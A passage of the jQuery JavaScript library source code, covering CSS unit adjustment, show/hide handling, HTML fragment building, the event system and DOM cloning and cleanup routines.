interference from CSS upper bounds (gh-2144) initial = initial / 2; // Trust units reported by jQuery.css unit = unit || initialInUnit[ 3 ]; // Iteratively approximate from a nonzero starting point initialInUnit = +initial || 1; while ( maxIterations-- ) { // Evaluate and update our best guess (doubling guesses that zero out). // Finish if the scale equals or crosses 1 (making the old*new product non-positive). jQuery.style( elem, prop, initialInUnit + unit ); if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) { maxIterations = 0; } initialInUnit = initialInUnit / scale; } initialInUnit = initialInUnit * 2; jQuery.style( elem, prop, initialInUnit + unit ); // Make sure we update the tween properties later on valueParts = valueParts || []; } if ( valueParts ) { initialInUnit = +initialInUnit || +initial || 0; // Apply relative offset (+=/-=) if specified adjusted = valueParts[ 1 ] ? initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : +valueParts[ 2 ]; if ( tween ) { tween.unit = unit; tween.start = initialInUnit; tween.end = adjusted; } } return adjusted; } var defaultDisplayMap = {}; function getDefaultDisplay( elem ) { var temp, doc = elem.ownerDocument, nodeName = elem.nodeName, display = defaultDisplayMap[ nodeName ]; if ( display ) { return display; } temp = doc.body.appendChild( doc.createElement( nodeName ) ); display = jQuery.css( temp, "display" ); temp.parentNode.removeChild( temp ); if ( display === "none" ) { display = "block"; } defaultDisplayMap[ nodeName ] = display; return display; } function showHide( elements, show ) { var display, elem, values = [], index = 0, length = elements.length; // Determine new display value for elements that need to change for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } display = elem.style.display; if ( show ) { // Since we force visibility upon cascade-hidden elements, an immediate (and slow) // check is required in this first loop unless we have a nonempty display value (either // inline or about-to-be-restored) if ( display === "none" ) { values[ index ] = dataPriv.get( elem, "display" ) || null; if ( !values[ index ] ) { elem.style.display = ""; } } if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { values[ index ] = getDefaultDisplay( elem ); } } else { if ( display !== "none" ) { values[ index ] = "none"; // Remember what we're overwriting dataPriv.set( elem, "display", display ); } } } // Set the display of the elements in a second loop to avoid constant reflow for ( index = 0; index < length; index++ ) { if ( values[ index ] != null ) { elements[ index ].style.display = values[ index ]; } } return elements; } jQuery.fn.extend( { show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each( function() { if ( isHiddenWithinTree( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } } ); } } ); var rcheckableType = ( /^(?:checkbox|radio)$/i ); var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i ); var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i ); ( function() { var fragment = document.createDocumentFragment(), div = fragment.appendChild( document.createElement( "div" ) ), input = document.createElement( "input" ); // Support: Android 4.0 - 4.3 only // Check state lost if the name is set (#11217) // Support: Windows Web Apps (WWA) // `name` and `type` must use .setAttribute for WWA (#14901) input.setAttribute( "type", "radio" ); input.setAttribute( "checked", "checked" ); input.setAttribute( "name", "t" ); div.appendChild( input ); // Support: Android <=4.1 only // Older WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE <=11 only // Make sure textarea (and checkbox) defaultValue is properly cloned div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; // Support: IE <=9 only // IE <=9 replaces <option> tags with their contents when inserted outside of // the select element. div.innerHTML = "<option></option>"; support.option = !!div.lastChild; } )(); // We have to close these tags to support XHTML (#13200) var wrapMap = { // XHTML parsers do not magically insert elements in the // same way that tag soup parsers do. So we cannot shorten // this by omitting <tbody> or other required elements. thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; // Support: IE <=9 only if ( !support.option ) { wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ]; } function getAll( context, tag ) { // Support: IE <=9 - 11 only // Use typeof to avoid zero-argument method invocation on host objects (#15151) var ret; if ( typeof context.getElementsByTagName !== "undefined" ) { ret = context.getElementsByTagName( tag || "*" ); } else if ( typeof context.querySelectorAll !== "undefined" ) { ret = context.querySelectorAll( tag || "*" ); } else { ret = []; } if ( tag === undefined || tag && nodeName( context, tag ) ) { return jQuery.merge( [ context ], ret ); } return ret; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var i = 0, l = elems.length; for ( ; i < l; i++ ) { dataPriv.set( elems[ i ], "globalEval", !refElements || dataPriv.get( refElements[ i ], "globalEval" ) ); } } var rhtml = /<|&#?\w+;/; function buildFragment( elems, context, scripts, selection, ignored ) { var elem, tmp, tag, wrap, attached, j, fragment = context.createDocumentFragment(), nodes = [], i = 0, l = elems.length; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( toType( elem ) === "object" ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Ensure the created nodes are orphaned (#12392) tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( ( elem = nodes[ i++ ] ) ) { // Skip elements already in the context collection (trac-4087) if ( selection && jQuery.inArray( elem, selection ) > -1 ) { if ( ignored ) { ignored.push( elem ); } continue; } attached = isAttached( elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( attached ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( ( elem = tmp[ j++ ] ) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; } var rtypenamespace = /^([^.]*)(?:\.(.+)|)/; function returnTrue() { return true; } function returnFalse() { return false; } // Support: IE <=9 - 11+ // focus() and blur() are asynchronous, except when they are no-op. // So expect focus to be synchronous when the element is already active, // and blur to be synchronous when the element is not already active. // (focus and blur are always synchronous in other supported browsers, // this just defines when we can count on it). function expectSync( elem, type ) { return ( elem === safeActiveElement() ) === ( type === "focus" ); } // Support: IE <=9 only // Accessing document.activeElement can throw unexpectedly // https://bugs.jquery.com/ticket/13393 function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } function on( elem, types, selector, data, fn, one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { on( elem, type, selector, data, types[ type ], one ); } return elem; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return elem; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return elem.each( function() { jQuery.event.add( this, types, fn, data, selector ); } ); } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.get( elem ); // Only attach events to objects that accept data if ( !acceptData( elem ) ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Ensure that invalid selectors throw exceptions at attach time // Evaluate against documentElement in case elem is a non-element node (e.g., document) if ( selector ) { jQuery.find.matchesSelector( documentElement, selector ); } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !( events = elemData.events ) ) { events = elemData.events = Object.create( null ); } if ( !( eventHandle = elemData.handle ) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.dispatch.apply( elem, arguments ) : undefined; }; } // Handle multiple events separated by a space types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend( { type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join( "." ) }, handleObjIn ); // Init the event handler queue if we're the first if ( !( handlers = events[ type ] ) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); if ( !elemData || !( events = elemData.events ) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[ 2 ] && new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove data and the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { dataPriv.remove( elem, "handle events" ); } }, dispatch: function( nativeEvent ) { var i, j, ret, matched, handleObj, handlerQueue, args = new Array( arguments.length ), // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( nativeEvent ), handlers = ( dataPriv.get( this, "events" ) || Object.create( null ) )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[ 0 ] = event; for ( i = 1; i < arguments.length; i++ ) { args[ i ] = arguments[ i ]; } event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( ( handleObj = matched.handlers[ j++ ] ) && !event.isImmediatePropagationStopped() ) { // If the event is namespaced, then each handler is only invoked if it is // specially universal or its namespaces are a superset of the event's. if ( !event.rnamespace || handleObj.namespace === false || event.rnamespace.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || handleObj.handler ).apply( matched.elem, args ); if ( ret !== undefined ) { if ( ( event.result = ret ) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, handleObj, sel, matchedHandlers, matchedSelectors, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers if ( delegateCount && // Support: IE <=9 // Black-hole SVG <use> instance trees (trac-13180) cur.nodeType && // Support: Firefox <=42 // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click // Support: IE 11 only // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) !( event.type === "click" && event.button >= 1 ) ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't check non-elements (#13208) // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { matchedHandlers = []; matchedSelectors = {}; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matchedSelectors[ sel ] === undefined ) { matchedSelectors[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) > -1 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matchedSelectors[ sel ] ) { matchedHandlers.push( handleObj ); } } if ( matchedHandlers.length ) { handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); } } } } // Add the remaining (directly-bound) handlers cur = this; if ( delegateCount < handlers.length ) { handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); } return handlerQueue; }, addProp: function( name, hook ) { Object.defineProperty( jQuery.Event.prototype, name, { enumerable: true, configurable: true, get: isFunction( hook ) ? function() { if ( this.originalEvent ) { return hook( this.originalEvent ); } } : function() { if ( this.originalEvent ) { return this.originalEvent[ name ]; } }, set: function( value ) { Object.defineProperty( this, name, { enumerable: true, configurable: true, writable: true, value: value } ); } } ); }, fix: function( originalEvent ) { return originalEvent[ jQuery.expando ] ? originalEvent : new jQuery.Event( originalEvent ); }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, click: { // Utilize native event to ensure correct state for checkable inputs setup: function( data ) { // For mutual compressibility with _default, replace `this` access with a local var. // `|| data` is dead code meant only to preserve the variable through minification. var el = this || data; // Claim the first handler if ( rcheckableType.test( el.type ) && el.click && nodeName( el, "input" ) ) { // dataPriv.set( el, "click", ... ) leverageNative( el, "click", returnTrue ); } // Return false to allow normal processing in the caller return false; }, trigger: function( data ) { // For mutual compressibility with _default, replace `this` access with a local var. // `|| data` is dead code meant only to preserve the variable through minification. var el = this || data; // Force setup before triggering a click if ( rcheckableType.test( el.type ) && el.click && nodeName( el, "input" ) ) { leverageNative( el, "click" ); } // Return non-false to allow normal event-path propagation return true; }, // For cross-browser consistency, suppress native .click() on links // Also prevent it if we're currently inside a leveraged native-event stack _default: function( event ) { var target = event.target; return rcheckableType.test( target.type ) && target.click && nodeName( target, "input" ) && dataPriv.get( target, "click" ) || nodeName( target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } } }; // Ensure the presence of an event listener that handles manually-triggered // synthetic events by interrupting progress until reinvoked in response to // *native* events that it fires directly, ensuring that state changes have // already occurred before other listeners are invoked. function leverageNative( el, type, expectSync ) { // Missing expectSync indicates a trigger call, which must force setup through jQuery.event.add if ( !expectSync ) { if ( dataPriv.get( el, type ) === undefined ) { jQuery.event.add( el, type, returnTrue ); } return; } // Register the controller as a special universal handler for all event namespaces dataPriv.set( el, type, false ); jQuery.event.add( el, type, { namespace: false, handler: function( event ) { var notAsync, result, saved = dataPriv.get( this, type ); if ( ( event.isTrigger & 1 ) && this[ type ] ) { // Interrupt processing of the outer synthetic .trigger()ed event // Saved data should be false in such cases, but might be a leftover capture object // from an async native handler (gh-4350) if ( !saved.length ) { // Store arguments for use when handling the inner native event // There will always be at least one argument (an event object), so this array // will not be confused with a leftover capture object. saved = slice.call( arguments ); dataPriv.set( this, type, saved ); // Trigger the native event and capture its result // Support: IE <=9 - 11+ // focus() and blur() are asynchronous notAsync = expectSync( this, type ); this[ type ](); result = dataPriv.get( this, type ); if ( saved !== result || notAsync ) { dataPriv.set( this, type, false ); } else { result = {}; } if ( saved !== result ) { // Cancel the outer synthetic event event.stopImmediatePropagation(); event.preventDefault(); // Support: Chrome 86+ // In Chrome, if an element having a focusout handler is blurred by // clicking outside of it, it invokes the handler synchronously. If // that handler calls `.remove()` on the element, the data is cleared, // leaving `result` undefined. We need to guard against this. return result && result.value; } // If this is an inner synthetic event for an event with a bubbling surrogate // (focus or blur), assume that the surrogate already propagated from triggering the // native event and prevent that from happening again here. // This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the // bubbling surrogate propagates *after* the non-bubbling base), but that seems // less bad than duplication. } else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) { event.stopPropagation(); } // If this is a native event triggered above, everything is now in order // Fire an inner synthetic event with the original arguments } else if ( saved.length ) { // ...and capture the result dataPriv.set( this, type, { value: jQuery.event.trigger( // Support: IE <=9 - 11+ // Extend with the prototype to reset the above stopImmediatePropagation() jQuery.extend( saved[ 0 ], jQuery.Event.prototype ), saved.slice( 1 ), this ) } ); // Abort handling of the native event event.stopImmediatePropagation(); } } } ); } jQuery.removeEvent = function( elem, type, handle ) { // This "if" is needed for plain objects if ( elem.removeEventListener ) { elem.removeEventListener( type, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !( this instanceof jQuery.Event ) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: Android <=2.3 only src.returnValue === false ? returnTrue : returnFalse; // Create target properties // Support: Safari <=6 - 7 only // Target should not be a text node (#504, #13143) this.target = ( src.target && src.target.nodeType === 3 ) ? src.target.parentNode : src.target; this.currentTarget = src.currentTarget; this.relatedTarget = src.relatedTarget; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || Date.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { constructor: jQuery.Event, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, isSimulated: false, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && !this.isSimulated ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Includes all common event props including KeyEvent and MouseEvent specific props jQuery.each( { altKey: true, bubbles: true, cancelable: true, changedTouches: true, ctrlKey: true, detail: true, eventPhase: true, metaKey: true, pageX: true, pageY: true, shiftKey: true, view: true, "char": true, code: true, charCode: true, key: true, keyCode: true, button: true, buttons: true, clientX: true, clientY: true, offsetX: true, offsetY: true, pointerId: true, pointerType: true, screenX: true, screenY: true, targetTouches: true, toElement: true, touches: true, which: true }, jQuery.event.addProp ); jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) { jQuery.event.special[ type ] = { // Utilize native event if possible so blur/focus sequence is correct setup: function() { // Claim the first handler // dataPriv.set( this, "focus", ... ) // dataPriv.set( this, "blur", ... ) leverageNative( this, type, expectSync ); // Return false to allow normal processing in the caller return false; }, trigger: function() { // Force setup before trigger leverageNative( this, type ); // Return non-false to allow normal event-path propagation return true; }, // Suppress native focus or blur as it's already being fired // in leverageNative. _default: function() { return true; }, delegateType: delegateType }; } ); // Create mouseenter/leave events using mouseover/out and event-time checks // so that event delegation works in jQuery. // Do the same for pointerenter/pointerleave and pointerover/pointerout // // Support: Safari 7 only // Safari sends mouseenter too often; see: // https://bugs.chromium.org/p/chromium/issues/detail?id=470258 // for the description of the bug (it existed in older Chrome versions as well). jQuery.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mouseenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; } ); jQuery.fn.extend( { on: function( types, selector, data, fn ) { return on( this, types, selector, data, fn ); }, one: function( types, selector, data, fn ) { return on( this, types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each( function() { jQuery.event.remove( this, types, fn, selector ); } ); } } ); var // Support: IE <=10 - 11, Edge 12 - 13 only // In IE/Edge using regex groups here causes severe slowdowns. // See https://connect.microsoft.com/IE/feedback/details/1736512/ rnoInnerhtml = /<script|<style|<link/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; // Prefer a tbody over its parent table for containing new rows function manipulationTarget( elem, content ) { if ( nodeName( elem, "table" ) && nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { return jQuery( elem ).children( "tbody" )[ 0 ] || elem; } return elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; return elem; } function restoreScript( elem ) { if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) { elem.type = elem.type.slice( 5 ); } else { elem.removeAttribute( "type" ); } return elem; } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( dataPriv.hasData( src ) ) { pdataOld = dataPriv.get( src ); events = pdataOld.events; if ( events ) { dataPriv.remove( dest, "handle events" ); for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( dataUser.hasData( src ) ) { udataOld = dataUser.access( src ); udataCur = jQuery.extend( {}, udataOld ); dataUser.set( dest, udataCur ); } } // Fix IE bugs, see support tests function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } function domManip( collection, args, callback, ignored ) { // Flatten any nested arrays args = flat( args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = collection.length, iNoClone = l - 1, value = args[ 0 ], valueIsFunction = isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( valueIsFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return collection.each( function( index ) { var self = collection.eq( index ); if ( valueIsFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } domManip( self, args, callback, ignored ); } ); } if ( l ) { fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } // Require either new content or an interest in ignored elements to invoke the callback if ( first || ignored ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item // instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( collection[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !dataPriv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl && !node.noModule ) { jQuery._evalUrl( node.src, { nonce: node.nonce || node.getAttribute( "nonce" ) }, doc ); } } else { DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc ); } } } } } } return collection; } function remove( elem, selector, keepData ) { var node, nodes = selector ? jQuery.filter( selector, elem ) : elem, i = 0; for ( ; ( node = nodes[ i ] ) != null; i++ ) { if ( !keepData && node.nodeType === 1 ) { jQuery.cleanData( getAll( node ) ); } if ( node.parentNode ) { if ( keepData && isAttached( node ) ) { setGlobalEval( getAll( node, "script" ) ); } node.parentNode.removeChild( node ); } } return elem; } jQuery.extend( { htmlPrefilter: function( html ) { return html; }, clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = isAttached( elem ); // Fix IE cloning issues if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, cleanData: function( elems ) { var data, elem, type, special = jQuery.event.special, i = 0; for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { if ( acceptData( elem ) ) { if ( ( data = elem[ dataPriv.expando ] ) ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataPriv.expando ] = undefined; } if ( elem[ dataUser.expando ] ) { // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataUser.expando ] = undefined; } } } } } ); jQuery.fn.extend( { detach: function( selector ) { return remove( this, selector, true ); }, remove: function( selector ) { return remove( this, selector ); }, 